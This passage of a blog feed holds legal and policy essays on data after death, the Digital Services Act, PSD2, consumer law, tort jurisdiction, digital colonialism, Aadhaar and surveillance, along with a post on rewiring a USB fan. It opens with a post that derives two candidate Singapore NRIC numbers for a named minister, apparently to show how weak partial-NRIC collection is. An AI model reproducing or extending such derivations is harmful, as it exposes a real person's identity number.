S6832541B --&amp;gt; 32541st registered birth. Occurred in Aug 1968. &lt;br&gt;
S6843541B --&amp;gt; 43541st registered birth. Occurred in Dec 1968.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Assuming that the information we have earlier is accurate, Minister Josephine Teo's NRIC is likely to be either S6821541B or S6832541B. The latter seems slightly more promising because parents have up to 42 days to register the birth with ICA. However, it could also be the former. Back in 1968, there were more uneducated folks who may not have registered their child's birth timeously.&lt;/p&gt;
&lt;p&gt;I'm not sure who started the practice of collecting the last 4 characters of NRIC. As shown, it allows others to narrow down the possibilities greatly especially if we have the approximate date of birth and citizenship information. Collecting the first 4 characters of NRIC is also not ideal as it reveals a person's age and citizenship information. Unfortunately, there are no easy solutions. We have inherited this system where NRIC numbers are issued sequentially instead of randomly, hence allowing this sort of data derivation to occur.&lt;/p&gt;</content><category term="articles"></category><category term="Security"></category><category term="Data"></category><category term="Legal"></category></entry><entry><title>Data after death</title><link href="https://limbenjamin.com/articles/data-after-death.html" rel="alternate"></link><published>2024-11-23T21:12:00+08:00</published><updated>2024-11-23T21:12:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2024-11-23:/articles/data-after-death.html</id><summary type="html">&lt;p&gt;I believe one of the most difficult challenges is that user generated content is unstructured in nature. An individual can post about his family trip, which would constitute personal data [1]. He could also post a poem, which would be intellectual property [2]. This has numerous implications because the legal …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I believe one of the most difficult challenges is that user generated content is unstructured in nature. An individual can post about his family trip, which would constitute personal data [1]. He could also post a poem, which would be intellectual property [2]. This has numerous implications because the legal obligations differ depending on the classification of the data. Erdos commented that some EEA states have instituted "sui generis provisions for the deceased's data" which would remove the uncertainty of how the data is to be classified.&lt;/p&gt;
&lt;p&gt;The other issue would be the whether legal personality, with respect to digital assets, dies together with the person. While this is indeed true in most cases, there are exceptions such as "burials, organ donation and medical confidentiality" [3] and of course wills in which a deceased person's wishes can still be binding. This issue can be resolved elegantly. As long as digital assets can be considered property [4], then they can be dealt with in a similar manner as all other property, reducing the needs for exceptions or sui generis provision.  &lt;/p&gt;
&lt;p&gt;On the topic of defunct service providers, I believe this issue affects all service providers from all sectors. pCloud offers lifetime plans for cloud storage [5], Briggs and Riley offers lifetime warranty for their luggages [6], funeral companies offer prepaid funeral plans, insurance companies collect annual premiums on policies that could in some cases pay out only decades later. The Financial Services Compensation Scheme covers individuals if certain insurance and funeral services provider goes out of business [7]. However, de minimis non curat lex. For small value purchases, individuals should do their due diligence on the track record of a company. For intangibles such as digital assets, we should take full advantage of the non-rivalrous property of data that has been plaguing internet copyright lawyers. With just a few clicks, individuals can make an identical copy of their digital assets, and store it with multiple providers as a form of redundancy. Backing up digital assets should be second nature because like companies, digital devices can fail as well.&lt;/p&gt;
&lt;p&gt;[1] Harbinja E, Digital Death, Digital Assets and Post-Mortem Privacy: Theory, Technology and the Law (Edinburgh Univ Press 2023), pp. 76&lt;/p&gt;
&lt;p&gt;[2] ibid, pp. 83&lt;/p&gt;
&lt;p&gt;[3] ibid, pp. 64&lt;/p&gt;
&lt;p&gt;[4] ibid, pp. 53&lt;/p&gt;
&lt;p&gt;[5] pCloud International AG, 'pCloud - Best Cloud Storage Pricing &amp;amp; Cost Plans'
 &lt;a href="https://www.pcloud.com/cloud-storage-pricing-plans.html?period=lifetime"&gt;https://www.pcloud.com/cloud-storage-pricing-plans.html?period=lifetime&lt;/a&gt; accessed 23 November 2024&lt;/p&gt;
&lt;p&gt;[6] Briggs &amp;amp; Riley, 'Lifetime Guarantee Premium Luggage | Briggs &amp;amp; Riley' &lt;a href="https://www.briggs-riley.com/pages/lifetime-guarantee"&gt;https://www.briggs-riley.com/pages/lifetime-guarantee&lt;/a&gt; accessed 23 November 2024&lt;/p&gt;
&lt;p&gt;[7] Financial Services Compensation Scheme, 'Financial Services Compensation Scheme | FSCS' &lt;a href="https://www.fscs.org.uk/"&gt;https://www.fscs.org.uk/&lt;/a&gt; accessed 23 November 2024&lt;/p&gt;</content><category term="articles"></category><category term="Legal"></category><category term="Data"></category></entry><entry><title>DSA: Search Engines</title><link href="https://limbenjamin.com/articles/dsa-search-engines.html" rel="alternate"></link><published>2024-11-09T22:15:00+08:00</published><updated>2024-11-09T22:15:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2024-11-09:/articles/dsa-search-engines.html</id><summary type="html">&lt;p&gt;I believe that abuse of a search engine's dominant market position is one of the most egregious issues today. van Eijk argues that dominant search engines could unfairly exclude certain parties in their search results, treat their own services preferentially and exert excessive control over the advertising market [1]. The …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I believe that abuse of a search engine's dominant market position is one of the most egregious issues today. van Eijk argues that dominant search engines could unfairly exclude certain parties in their search results, treat their own services preferentially and exert excessive control over the advertising market [1]. The issue is severe because search engines have been described as a "natural monopoly" [2]. Search engines can offer more relevant results through better algorithms or increasing the number of pages indexed [3]. Consumers who benefit from the more relevant results will prefer using that search engine which in turns brings in more revenue for the search engine to improve the relevance of their results. Hence there is a tendency for the industry to continuously gravitate towards a few large players controlling most of the market share. Since the de facto position is very conducive for such abuse to occur, regulators have to be proactive in lawmaking, maintaining oversight, and promptly enforce the regulations to prevent search engines from abusing their dominant position.&lt;/p&gt;
&lt;p&gt;I think the Digital Services Act (DSA) is well positioned with Art. 33 specially calling to attention "Very Large Online Search Engines" (VLOSE) [4]. The regulators were probably cognizant of the risks of abuse of dominant market position, hence the focus on VLOSE instead of all search engines. Art. 34 and Art. 35 places obligations on these VLOSEs to evaluate and mitigate risks associated with unfairly recommending their own services or unfairly moderating the content of other parties [5]. Art. 37 and Art. 40 mandates an independent audit and compliance functions while Art. 39 and Art. 42 set requirements on transparency [6].&lt;/p&gt;
&lt;p&gt;van Eijk stated that Search Engines have become an "essential part" or "bottleneck" when accessing information online [7]. Given their importance and the reliance that everyone places on search engines, I believe the the obligations imposed are fair and balance the importance of protecting fair competition and consumer welfare against the right to conduct business&lt;/p&gt;
&lt;p&gt;[1] Van Eijk N, Telecommunication Markets (Physical Verlag 2009), pp. 151 - 152&lt;/p&gt;
&lt;p&gt;[2] ibid&lt;/p&gt;
&lt;p&gt;[3] ibid, pp. 142&lt;/p&gt;
&lt;p&gt;[4] Regulation (EU) 2022/2065 of the European Parliament and of the Council of 19 October 2022 on a Single Market For Digital Services and amending Directive 2000/31/EC (Digital Services Act) [2022] OJ L277/1, art. 33&lt;/p&gt;
&lt;p&gt;[5] ibid, art. 34 and 35&lt;/p&gt;
&lt;p&gt;[6] ibid, art. 37, 39, 40, 42&lt;/p&gt;
&lt;p&gt;[7] Van Eijk N, Telecommunication Markets (Physical Verlag 2009), pp. 141&lt;/p&gt;</content><category term="articles"></category><category term="Legal"></category></entry><entry><title>PSD2: Stored value cards</title><link href="https://limbenjamin.com/articles/psd2-stored-value-cards.html" rel="alternate"></link><published>2024-10-13T11:01:00+08:00</published><updated>2024-10-13T11:01:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2024-10-13:/articles/psd2-stored-value-cards.html</id><summary type="html">&lt;p&gt;As we see, historically, legislation has had a major impact in either encouraging or discouraging new payment systems. The negative impacts of EMD1 on the EU eMoney market (despite best intentions) resulted in a new piece of legislation, EMD2, to try and correct the issues it caused. With the emergence …&lt;/p&gt;</summary><content type="html">&lt;p&gt;As we see, historically, legislation has had a major impact in either encouraging or discouraging new payment systems. The negative impacts of EMD1 on the EU eMoney market (despite best intentions) resulted in a new piece of legislation, EMD2, to try and correct the issues it caused. With the emergence of the new PSD2, there is a focus and investment from banks to help open up access to customer banking data and create new value-added open banking services (e.g. giving customers better understanding of consumption habits). Do you think the open banking initiative has promise or is doomed to fail? Justify your answer either way in the discussion board. &lt;/p&gt;
&lt;p&gt;I think PSD2 has a larger chance of success. Firstly, the definition of electronic money was expanded to be more technologically neutral [1]. This is important because development of technology often brings about new efficient and secure methods. Storing value in the card itself was popular before the era of 3G networks. Without a reliable means of accessing the Internet, storing the value in IT servers could mean an unreliable payment method. However, with good Internet access today, the preference has changed. Storing value in IT servers means that even if you lose your card, you can get a replacement card that is tied to your account and you do not lose any money. It is also a more secure option. Users can bring home stored value card, use a variety of equipment to hack into it and increase the stored value while leaving almost no trace [2]. Hacking into an IT server while remaining undetected is a much more difficult task. Hence, the industry will likely express more interest in PSD2 with the wider scope of implementation available to them.&lt;/p&gt;
&lt;p&gt;Secondly, businesses are also allowed to undertake "unrelated payment services and other unregulated business" under PSD2 [3]. Previously, there was uncertainty over whether payment initiation services fell under the ambit of the PSD1 [4], which discourages adoption. The purpose of a business is to bring in profits, and if the business is restricted to only issuing electronic money, there isn't much room for innovation or profit making. Buy Now, Pay Later (BNPL) is one of the increasingly popular financial services recently [5]. Ethical considerations aside, businesses stand to profit from financially irresponsible customers who take on more debt than they can handle. Under the open banking initiative, BNPL companies will be able to get more accurate real-time information on the customer's finances, reducing the amount of bad loans, while customers may also benefit from the increased requirements for "safeguarding customers' funds and the right to redeem any excess stored value or payment made to the BNPL companies [6].&lt;/p&gt;
&lt;p&gt;[1] Eu Regulation of E-Commerce : A Commentary (Edward Elgar Publishing 2017), para. 6.39&lt;/p&gt;
&lt;p&gt;[2] Jie Feng (2020), 'Hacking a Stored Value Card', Medium &lt;a href="https://medium.com/csg-govtech/hacking-a-stored-value-card-4ee0a9934d2b"&gt;https://medium.com/csg-govtech/hacking-a-stored-value-card-4ee0a9934d2b&lt;/a&gt; accessed 13 October 2024&lt;/p&gt;
&lt;p&gt;[3] "UK Implementation of the Second Electronic Money Directive" &lt;a href="https://uk.practicallaw.thomsonreuters.com/8-506-1503"&gt;https://uk.practicallaw.thomsonreuters.com/8-506-1503&lt;/a&gt; accessed 13 October 2024, pp.3&lt;/p&gt;
&lt;p&gt;[4] Eu Regulation of E-Commerce : A Commentary (Edward Elgar Publishing 2017), para. 6.19&lt;/p&gt;
&lt;p&gt;[5] Joanna Stavins (2024), 'Buy Now, Pay Later: Who Uses It and Why', Federal Reserve Bank of Boston &lt;a href="https://www.bostonfed.org/publications/current-policy-perspectives/2024/buy-now-pay-later-who-uses-it-why.aspx"&gt;https://www.bostonfed.org/publications/current-policy-perspectives/2024/buy-now-pay-later-who-uses-it-why.aspx&lt;/a&gt; accessed 13 October 2024&lt;/p&gt;
&lt;p&gt;[6] "UK Implementation of the Second Electronic Money Directive" &lt;a href="https://uk.practicallaw.thomsonreuters.com/8-506-1503"&gt;https://uk.practicallaw.thomsonreuters.com/8-506-1503&lt;/a&gt; accessed 13 October 2024, pp.3&lt;/p&gt;</content><category term="articles"></category><category term="Legal"></category></entry><entry><title>Traders and Consumers</title><link href="https://limbenjamin.com/articles/traders-and-consumers.html" rel="alternate"></link><published>2024-10-07T15:18:00+08:00</published><updated>2024-10-07T15:18:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2024-10-07:/articles/traders-and-consumers.html</id><summary type="html">&lt;p&gt;I think it is important to make a distinction between trader and consumer in order to establish a balance between consumer protection and ownership rights. &lt;/p&gt;
&lt;p&gt;The Sales of Good Act (SoGA) 1979 makes clear distinction [1], requiring that traders ensure 'satisfactory quality' and 'fitness for a particular purpose' in goods …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I think it is important to make a distinction between trader and consumer in order to establish a balance between consumer protection and ownership rights. &lt;/p&gt;
&lt;p&gt;The Sales of Good Act (SoGA) 1979 makes clear distinction [1], requiring that traders ensure 'satisfactory quality' and 'fitness for a particular purpose' in goods for sale [2]. This is crucial for consumer protection, ensuring that consumers are not disadvantaged and receive goods unfit for use. I believe it is not an overly arduous ask, since traders have the specific knowledge in that domain and can inspect the goods for quality before sale. In most cases, traders obtain brand new goods from suppliers and can reject defective goods, thus they do not experience any loss if they practice due diligence. In the minority of cases where traders deal with used good, e.g. used car sales, traders have the expertise to inspect for damages before purchasing and subsequently reselling.&lt;/p&gt;
&lt;p&gt;However, the situation is vastly different between two non-trading individuals. These individuals are likely to be transacting used goods and are unlikely to possess specific knowledge to thoroughly inspect the goods during the transaction. Imposing too many requirements may infringe on the ownership rights of an individual. In Marckx v Belgium, the European Court of Human Rights interpreted Article 1 of Protocol 1 of the European Convention on Human Rights (ECHR) to include the right to "dispose of one's property" [3]. Imposing too many restrictions may result in an individual not having a practical means to sell his property. Hence, I agree with Monaghan's view that there exists a "strong argument in favour of caveat emptor" between two non-trading individuals.  &lt;/p&gt;
&lt;p&gt;In order to impose caveat venditor on traders and caveat emptor on individuals, it is neccessary to distinguish them in law.&lt;/p&gt;
&lt;p&gt;[1] Chris Monaghan, 'The Status of the Seller in the Age of eBay' (2011) 20(2) Information &amp;amp; Communications Technology Law 103, pp. 108&lt;/p&gt;
&lt;p&gt;[2] The Sales of Good Act (SoGA) 1979, s 14(2) and s 14(3)&lt;/p&gt;
&lt;p&gt;[3] Marckx v Belgium (1979) 2 EHRR 14, para. 63&lt;/p&gt;
&lt;p&gt;[1] Chris Monaghan, 'The Status of the Seller in the Age of eBay' (2011) 20(2) Information &amp;amp; Communications Technology Law 103, pp. 111&lt;/p&gt;</content><category term="articles"></category><category term="Legal"></category></entry><entry><title>Tort: Centre of Interests</title><link href="https://limbenjamin.com/articles/tort-centre-of-interests.html" rel="alternate"></link><published>2024-09-22T05:54:00+08:00</published><updated>2024-09-22T05:54:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2024-09-22:/articles/tort-centre-of-interests.html</id><summary type="html">&lt;p&gt;To start off, the pre-internet Shevill judgment, widely deemed to be fair [1], allows plaintiffs to commence action in the publisher's jurisdiction, where the totality of the damage suffered can be sought [2]. Plaintiffs can also take action in their own jurisdiction, however only damage in that jurisdiction can be …&lt;/p&gt;</summary><content type="html">&lt;p&gt;To start off, the pre-internet Shevill judgment, widely deemed to be fair [1], allows plaintiffs to commence action in the publisher's jurisdiction, where the totality of the damage suffered can be sought [2]. Plaintiffs can also take action in their own jurisdiction, however only damage in that jurisdiction can be sought [2]. I believe this is fair because lesser resourced plaintiffs can still obtain a lower claim in a single jurisdiction, while publisher's distributions globally are not overexposed to legal risks in a single jurisdiction.&lt;/p&gt;
&lt;p&gt;The eDate/Martinez decision adds a third possibility, allowing plaintiffs to take action in a jurisdiction where his "centre of interests" lie, with the possibility of claiming the totality of damages suffered [3]. It is also stated in the judgment that publishers are "in a position to know the centres of interests of the [...] subject of that content" [4]. Kuipers argues that the above statement is problematic [5], using the example of an international celebrity to illustrate how someone can possibly have "centre of interests" that are not immediately clear [6]. Such persons can engage in forum shopping for a more favorable jurisdiction [6]. Thus, the decision greatly shifts the balance towards the consumers, makes it easier to take legal action, by increasing the number of possible jurisdictions, and by allowing for totality of damages to be claimed in jurisdictions other that the publisher's. &lt;/p&gt;
&lt;p&gt;The Advocate General's supports the stance of allowing action in a jurisdiction with "centre of gravity", but adds an additional condition that the offending information "arouses interest" and is "objectively relevant" in that particular jurisdiction. I believe that his opinion will shift the balance slightly towards the publisher, making it harder to engage in forum shopping, but still being easier that the original Shevill criterion.  &lt;/p&gt;
&lt;p&gt;I will use an example to illustrate the difference between the court's position and the Advocate General's opinion. The local Edinburgh paper publishes an article about a tourist's drunken disorderly conduct and arrest by the local police. At the time of publication, it was not known that the tourist is actually someone of high social stature in his "centre of interest". Shortly after publication, the connection is made and the individual experiences a loss of reputation in his "centre of interest". In such a scenario, under the court's position, that individual will be able to take action and sue for his loss of reputation in his "centre of interest". However, under the Advocate General's proposed position, he will not have grounds to take action in his "centre of interest" because drunken disorderly conduct of an individual in Edinburgh will hardly arouse any interest and has no relevance to someone living in a different country.&lt;/p&gt;
&lt;p&gt;[1] Case C-509/09 and C-161/10 eDate Advertising GmbH v X and Olivier Martinez, Robert Martinez v MGN Limited [2011], Opinion of AG VILLALÓN, Para. 38 &lt;/p&gt;
&lt;p&gt;[2] ibid, Para. 37 &lt;/p&gt;
&lt;p&gt;[3] Case C-509/09 and C-161/10 eDate Advertising GmbH v X and Olivier Martinez, Robert Martinez v MGN Limited [2011], Para. 48&lt;/p&gt;
&lt;p&gt;[4] ibid, Para. 50&lt;/p&gt;
&lt;p&gt;[5] Kuipers J-J, 'Joined Cases C-509/09 &amp;amp; 161/10, eDate Advertising v. X and Olivier Martinez and Robert Martinez v. MGN Limited, Judgment of the Court of Justice (Grand Chamber) of 25 October 2011' (2012) 49 Common Market Law Review 1211, Pg. 1230&lt;/p&gt;
&lt;p&gt;[6] ibid, Pg. 1221&lt;/p&gt;</content><category term="articles"></category><category term="Legal"></category></entry><entry><title>USB Fan: Remove battery</title><link href="https://limbenjamin.com/articles/usb-fan-remove-battery.html" rel="alternate"></link><published>2024-07-05T21:35:00+08:00</published><updated>2024-07-05T21:35:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2024-07-05:/articles/usb-fan-remove-battery.html</id><summary type="html">&lt;p&gt;I have a simple fan that could either be powered by a battery or through USB. To switch it on or off, I would need to press a button. I wanted to convert the fan to be purely powered by USB and automatically switches on when power is supplied through …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I have a simple fan that could either be powered by a battery or through USB. To switch it on or off, I would need to press a button. I wanted to convert the fan to be purely powered by USB and automatically switches on when power is supplied through USB. This will allow me to add the fan to my home automation setup.&lt;/p&gt;
&lt;p&gt;&lt;img alt="image" src="//limbenjamin.com/media/fan_conversion.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Upon prying off the back of the fan, I discovered a simple circuit board with the following connectors.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Connector supplying power to the fan&lt;/li&gt;
&lt;li&gt;Connector to 18650 battery&lt;/li&gt;
&lt;li&gt;Connector supplying power to an LED&lt;/li&gt;
&lt;li&gt;Button to switch on LED&lt;/li&gt;
&lt;li&gt;USB-C connector to provide power/charge battery&lt;/li&gt;
&lt;li&gt;Button to switch on fan&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Since the battery starts charging once power is provided to the USB-C connector (5), I reasoned that if I replaced (2) with (1), the fan will immediately start running once the USB-C connector provides power. Since the battery has been removed from the system, the fan will immediately stop once the USB-C connector stops providing power. This will achieve the desired effect.&lt;/p&gt;
&lt;p&gt;The USB-C connector (5) provides an input of 5V, while output (2) is likely to be around 3.7V since it is used to charge the 18650 battery. Could the fan be powered off 3.7V? The chip on the left appears to be a TP4056. I am unsure if the voltage is stepped up before reaching output (1). Nonetheless, it doesn't hurt to try. At most the fan will not spin or spin slower due to lower voltage. After re-assembling the fan, the fan did indeed work as expected.&lt;/p&gt;</content><category term="articles"></category><category term="Untagged"></category></entry><entry><title>Digital Colonialism</title><link href="https://limbenjamin.com/articles/digital-colonialism.html" rel="alternate"></link><published>2024-03-23T11:17:00+08:00</published><updated>2024-03-23T11:17:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2024-03-23:/articles/digital-colonialism.html</id><summary type="html">&lt;p&gt;Kwet first speaks about economic domination, where US Big Tech companies like Uber are dominating the market in the Global South [1]. He laments that usage of these products will "create technological dependencies" leading to "perpetual resource extraction" [2]. It is indeed true that the dominance of Uber's ride hailing …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Kwet first speaks about economic domination, where US Big Tech companies like Uber are dominating the market in the Global South [1]. He laments that usage of these products will "create technological dependencies" leading to "perpetual resource extraction" [2]. It is indeed true that the dominance of Uber's ride hailing service leaves little room for local companies to compete. However, this is a global phenomenon and not limited to the Global South. The "South African Taxi Wars" in 2013 [3] was swiftly accompanied by a protest in London in 2015 where the city's black cabs blockaded Oxford Street [4]. &lt;/p&gt;
&lt;p&gt;Kwet then speaks about the dominance of code and hardware. By "planting infrastructure in the Global South", Big Tech companies are able to rent these infrastructure for profit, conduct surveillance and control the data flow [5]. Once again, this is not a phenomenon unique to the Global South. The top 10 largest cloud service providers consist of only US and Chinese companies, yet account for over 79% of the global market [6]. European countries, Japan, Korea and other countries in the Global North are similarly affected.&lt;/p&gt;
&lt;p&gt;According to Kwet, dominance and control of intellectual property rights allows Big Tech companies to charge for the usage or enjoyment of these content [7]. Kwet tries to cover both copyright and patents but did not go into much detail. Regarding copyright, I thought Kwet's arguments were wrong. If the US really wanted to achieve cultural domination, they would have made all their songs and films freely accessible to spread their culture far and wide. Regarding patents, the global chip race has been well underway with countries worldwide spending billions in research [8]. Perhaps, some sort of balance can be achieved and yesterday's technology could be transfered to developing countries for free without disincentivising countries from spending on research.&lt;/p&gt;
&lt;p&gt;Kwet then speaks about commercial domination. Facebook provides free internet services in return for prioritizing its own app, processing the user behavioural data for commercial gain [9]. Again, this is not unique to the Global South, Facebook even manipulated elections in the United States [10]. In fact, I believe "surveillance capitalism" is more severe in developed countries compared to the Global South. The Cost per Click (CPC) is a metric that measures how much an advertiser is willing to pay for an individual's click on an advertisement [11]. The data shows that countries in the Global South have a much lower CPC than countries in the Global North [12]. Advertisers are willing to pay less because these countries have lower income and thus lower spending power. Big Tech companies will likely focus less effort on "surveillance capitalism" in the Global South since the revenue generated is lower.&lt;/p&gt;
&lt;p&gt;Finally, Kwet speaks of Ideological Domination, arguing that "product placement in schools" will 'tighten the stranglehold of Big Tech products' [17]. Walk into any school in the Global North and you will also see Microsoft Windows, Apple iPads and Google Chromebooks.&lt;/p&gt;
&lt;p&gt;I believe Kwet's main premise is misguided. Colonialism is being reinvented. However, this new form of digital colonialism is no longer just targeting the Global South. It's aim is global world domination. No one, not even the US government or the US people are spared.&lt;/p&gt;
&lt;p&gt;[1] Michael Kwet, 'Digital Colonialism: US Empire and the New Imperialism in the Global South' (2019) 60(4) Race &amp;amp; Class 3, pp. 6&lt;/p&gt;
&lt;p&gt;[2] ibid.&lt;/p&gt;
&lt;p&gt;[3] ibid.&lt;/p&gt;
&lt;p&gt;[4] Richard Trenholm, 'London streets blockaded as taxi drivers protest against Uber', &lt;a href="https://www.cnet.com/tech/services-and-software/london-streets-blockaded-as-taxi-drivers-protest-against-uber/"&gt;https://www.cnet.com/tech/services-and-software/london-streets-blockaded-as-taxi-drivers-protest-against-uber/&lt;/a&gt; accessed 23 March 2024&lt;/p&gt;
&lt;p&gt;[5] Michael Kwet, 'Digital Colonialism: US Empire and the New Imperialism in the Global South' (2019) 60(4) Race &amp;amp; Class 3, pp. 8&lt;/p&gt;
&lt;p&gt;[6] Felix Richter, 'Amazon Maintains Cloud Lead as Microsoft Edges Closer' (Statista), &lt;a href="https://www.statista.com/chart/18819/worldwide-market-share-of-leading-cloud-infrastructure-service-providers/"&gt;https://www.statista.com/chart/18819/worldwide-market-share-of-leading-cloud-infrastructure-service-providers/&lt;/a&gt; accessed 23 March 2024&lt;/p&gt;
&lt;p&gt;[7] Michael Kwet, 'Digital Colonialism: US Empire and the New Imperialism in the Global South' (2019) 60(4) Race &amp;amp; Class 3, pp. 10-11&lt;/p&gt;
&lt;p&gt;[8] Bloomberg, 'Global chip race touches off spending spree, led by Intel’s US$50 billion worth of new plants', &lt;a href="https://www.scmp.com/tech/policy/article/3224818/global-chip-race-touches-spending-spree-led-intels-us50-billion-worth-new-plants"&gt;https://www.scmp.com/tech/policy/article/3224818/global-chip-race-touches-spending-spree-led-intels-us50-billion-worth-new-plants&lt;/a&gt; accessed 23 March 2024 &lt;/p&gt;
&lt;p&gt;[9] Michael Kwet, 'Digital Colonialism: US Empire and the New Imperialism in the Global South' (2019) 60(4) Race &amp;amp; Class 3, pp. 12-14&lt;/p&gt;
&lt;p&gt;[10] Alexis Madrigal, 'What Facebook Did to American Democracy' (The Atlantic), &lt;a href="https://www.theatlantic.com/technology/archive/2017/10/what-facebook-did/542502/"&gt;https://www.theatlantic.com/technology/archive/2017/10/what-facebook-did/542502/&lt;/a&gt; accessed 23 March 2024&lt;/p&gt;
&lt;p&gt;[11] Mark Irvine, 'Average Cost per Click by Country: Where in the World Are the Highest CPCs?', &lt;a href="https://www.wordstream.com/blog/average-cost-per-click"&gt;https://www.wordstream.com/blog/average-cost-per-click&lt;/a&gt; accessed 23 March 2024 &lt;/p&gt;
&lt;p&gt;[12] ibid.&lt;/p&gt;
&lt;p&gt;[13] Michael Kwet, 'Digital Colonialism: US Empire and the New Imperialism in the Global South' (2019) 60(4) Race &amp;amp; Class 3, pp. 17&lt;/p&gt;</content><category term="articles"></category><category term="Data"></category><category term="Legal"></category></entry><entry><title>Challenges with Aadhaar</title><link href="https://limbenjamin.com/articles/challenges-with-aadhaar.html" rel="alternate"></link><published>2024-03-17T16:47:00+08:00</published><updated>2024-03-17T16:47:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2024-03-17:/articles/challenges-with-aadhaar.html</id><summary type="html">&lt;p&gt;The case involved the death of an 11 year old girl due to starvation. The government had put in place a new Aadhaar digital identity system and the people had to biometrically verify their identity and register through a "seeding process" to be eligible to claim benefits such as subsidized …&lt;/p&gt;</summary><content type="html">&lt;p&gt;The case involved the death of an 11 year old girl due to starvation. The government had put in place a new Aadhaar digital identity system and the people had to biometrically verify their identity and register through a "seeding process" to be eligible to claim benefits such as subsidized grain. Due to high levels of illiteracy and poor internet connectivity, many of the impoverished were unable to complete the required steps to register themselves, and hence could not claim the subsidized grain that they were eligible for. The government authorities administering the program were also inflexible and did not extend any assistance to these disadvantaged communities in applying for these benefits. Hence the disadvantaged were excluded from receiving subsidized food and it resulted in a number of deaths due to starvation.&lt;/p&gt;
&lt;p&gt;The doctrine of "lucas standi" dictates that the claimant must have a significant connection to the case to be allowed to raise an action in court. However, the impoverished and illiterate that were affected could barely afford food and barely knew how to register for benefits. It would be an insurmountable task for them to afford to travel to the courts and to navigate through complex paperwork to file a claim. However, India has a unique form of litigation known as "public interest litigation", where concerned parties could file claims in court on behalf of the aggrieved to request for the provision of fundamental rights such as the right to food, right to education and the right to work. Hence, Gonsalves proceeded to file such a claim.&lt;/p&gt;
&lt;p&gt;Gonsalves faced numerous political issues. Government officials claimed that physical ration cards were susceptible to fraud as people could obtain multiple cards, hence the digital identity system was required. Government officials also claimed that the deaths were due to illnesses or due to other factors instead of starvation. There was also widespread denial and the reluctance to address the issue as many did not believe that starvation was still occurring in a country which was rapidly developing and relatively wealthy. Others felt shame and humiliation and thus preferred to avoid the issue altogether.&lt;/p&gt;
&lt;p&gt;Prior to the implementation of the Aadhaar system, the courts ruled that individuals had the right to food and hence the subsidized food programme was made available to 700 million people who could purchase grain at half of the market price. Students were also provided with a mid-day meal. Parliament eventually passed the National Food Security Act 2013 which formalized it as a statute. However, the implementation of Aadhaar introduced issues because the ration cards of the disadvantaged were canceled, and they were not able to access the digital systems that were now a prerequisite to continue receiving benefits. At the time of the dialogue, the courts had accepted the evidence and were requesting the governments to provide a response to that matter. However, one criticism is that the Supreme Court did not order a stay of execution. Hence, while the case is ongoing, governments official are still insisting on the use of Aadhaar to disburse benefits and the disadvantaged continue to be excluded, resulting in ongoing cases of deaths due to starvation.&lt;/p&gt;
&lt;p&gt;[1] Colin Gonsalves, 'Biometric IDs: Battling Aadhaar in India' (7 October 2021) &lt;a href="https://digitalfreedomfund.org/taking-digital-welfare-systems-to-court/"&gt;https://digitalfreedomfund.org/taking-digital-welfare-systems-to-court/&lt;/a&gt; accessed 17 March 2024.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This post is a summary of the dialogue session in source [1], hence every sentence is attributed to that source. To preserve legibility, I have not added references to the footnotes at the end of every sentence. &lt;/li&gt;
&lt;/ul&gt;</content><category term="articles"></category><category term="Data"></category><category term="Legal"></category></entry><entry><title>Big Tech and Surveillance</title><link href="https://limbenjamin.com/articles/big-tech-and-surveillance.html" rel="alternate"></link><published>2024-03-13T09:47:00+08:00</published><updated>2024-03-13T09:47:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2024-03-13:/articles/big-tech-and-surveillance.html</id><summary type="html">&lt;p&gt;The "false trade-off" in Solove's words is also known as a false dichotomy. The public is misled into choosing one of two unappealing options when there could be other viable alternatives. Solove believes that the optimal solution may be to grant the government the ability to conduct surveillance under proper …&lt;/p&gt;</summary><content type="html">&lt;p&gt;The "false trade-off" in Solove's words is also known as a false dichotomy. The public is misled into choosing one of two unappealing options when there could be other viable alternatives. Solove believes that the optimal solution may be to grant the government the ability to conduct surveillance under proper judicial oversight so there is accountability [1]. Such oversight will also prevent the government from overextending the surveillance program to include other individuals for which there is no probable cause, and also make sure the program is actually effective at preventing terrorism [2]. This would allow the general public to maintain their personal privacy while maintaining a reasonable level of national security.&lt;/p&gt;
&lt;p&gt;Unlike Sebrinah, I believe that this argument is a lot less relevant today. I believe this argument was most relevant in the 2000s when the general public was reeling from the shock of terrorist attacks and were willing to accept extreme knee-jerk measures in return for public security. The PATRIOT act, passed shortly after 9/11 was superseded by the FREEDOM act which granted judicial oversight by the FISA court. As the decades pass, the public has become aware and less understanding of these intrusive actions through the Snowden leaks. The public is also becoming more aware of "security theater" and jokes and memes about the effectiveness of the TSA checks in airports are rife.&lt;/p&gt;
&lt;p&gt;I believe an argument about the false trade-off between privacy/liberty and public health may be a more contemporary one. As the world is slowly recovering from the shock of COVID-19 and returning to normalcy, questions arise as to whether it was really necessary to track individual's movement and interactions to such an extent and whether it was really necessary for some countries to lockdown and prevent individuals from even leaving their homes.&lt;/p&gt;
&lt;p&gt;[1] Daniel Solove, 'Daniel Solove: Nothing to Hide, Nothing to Fear?' (20 February 2014) &lt;a href="https://www.youtube.com/watch?v=FqJ8EMwj7zY"&gt;https://www.youtube.com/watch?v=FqJ8EMwj7zY&lt;/a&gt; accessed 13 March 2024.&lt;/p&gt;
